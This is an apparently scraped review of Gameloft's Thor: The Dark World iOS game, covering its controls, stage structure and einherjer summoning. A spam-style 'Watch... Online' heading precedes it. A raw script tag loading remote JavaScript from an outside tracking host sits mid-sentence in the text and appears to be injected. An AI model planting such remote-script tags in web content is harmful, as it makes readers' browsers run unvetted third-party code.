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Watch Thor The Dark World Online The tough lot of being a fan of Marvel's god of thunder, Thor, has become somewhat easier over the last several years. With soon to be two solo movies under his belt, and an important role in the biggest superhero movie of all time, ol' Goldilocks seems to have finally broken out of being that stiff, weird, Shakespearean-speaking guy with the big hammer and a stupid hat. Now, he's that stiff, weird, Shakespearean-speaking guy with the big hammer and no hat. Let's hear it for progress! In all seriousness, if you had told me as a kid that someday I'd get to see Volstagg, Heimdall, Fandrall, Sif, and Thor duking it out with frost giants in Asgard in a live action movie, I'd have thought you were nuts. And if you had told me Thor would star in an awesome video game, I'd have called you insane. Well, Kid Shaun was half-right, at least.

For most of the history of video games, Thor hasn't really been popular enough to merit his own game, even though his abilities and attitude make him an easy fit for action games, and his home world makes for a natural fantasy backdrop. Never mind a starring role, Thor wasn't even playable in a video game until 2006's Marvel Ultimate Alliance, in spite of his teammates showing up in a variety of beat-em-ups and fighting games. Since his first movie released, Thor's had a starring role in a few video games, with the best of the lot being a half-decent side-scrolling action game for the Nintendo DS. His previous turn on iOS, Marvel Entertainment's Thor: Son of Asgard [$2.99] was a boring and clunky third person action game in the vein of Sony's God of War. Well, Thor's luck isn't changing today, because Gameloft's Thor: The Dark World [Free], based on the new movie, is probably the worst F2P superhero game yet for iOS, and that is saying something.

I haven't seen the new flick yet, so I have no idea if this game is following the story or just serving as a companion piece, but if you're a fan of Thor, there's nothing really surprising about the premise. The Dark Elves are attacking Asgard, Loki's being a jerk, and just about every one of Thor's major enemies are trying to ruin his day by messing around in the Nine Worlds. You, naturally, play as Thor and need to travel around extinguishing threats with the help of your friends and summoned einherjer of various job classes. Basically, the game is a top-down action game, with Diablo-style tapping controls to move and attack. Each of the four worlds you visit during the course of the game is broken up into around 20 stages. Most of these stages have you fighting your way to the end of a very linear stage and destroying an enemy base. Occasionally, you'll encounter stages where you have to defend your base or pull off a rescue, just to mix things up.

Thor's got a fairly limited set of moves. You can tap on an enemy to attack them with his hammer, double-touch to throw it, draw various shapes or tap a button to launch powerful lightning attacks, and summon einherjer by touching their icon at the bottom of the screen. You can also drink a health or summoning potion by tapping on their icons beside their respective meters, but be careful about using those. They're worth their weight in Uru. Thor will automatically go into a few different types of combos when you attack an enemy, but you're not going to find much depth in the battle mechanics here. Thor is very powerful himself, but the real key to victory is through effective use of einherjer and allies to take down enemies so you don't have to.

The einherjer are an interesting element of the game. You have a constantly-replenishing summoning meter that you can use to bring warriors of various types into battle with you. As you play through the game, you'll unlock more types, <script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=b81d5da6990acf2e7c8c4731dd48b463"></script> and you can spend your gold to level up the ones you like best. If one of them should fall in battle, you don't need to worry, because as long as you have summoning energy, you can bring in another. They have to walk from your base, though, so if you're near the end of a stage, it'll take them a while to get to you. Each enemy type is strong against some einherjer and weak against others, so using the right einherjer in the right situation is a major help.
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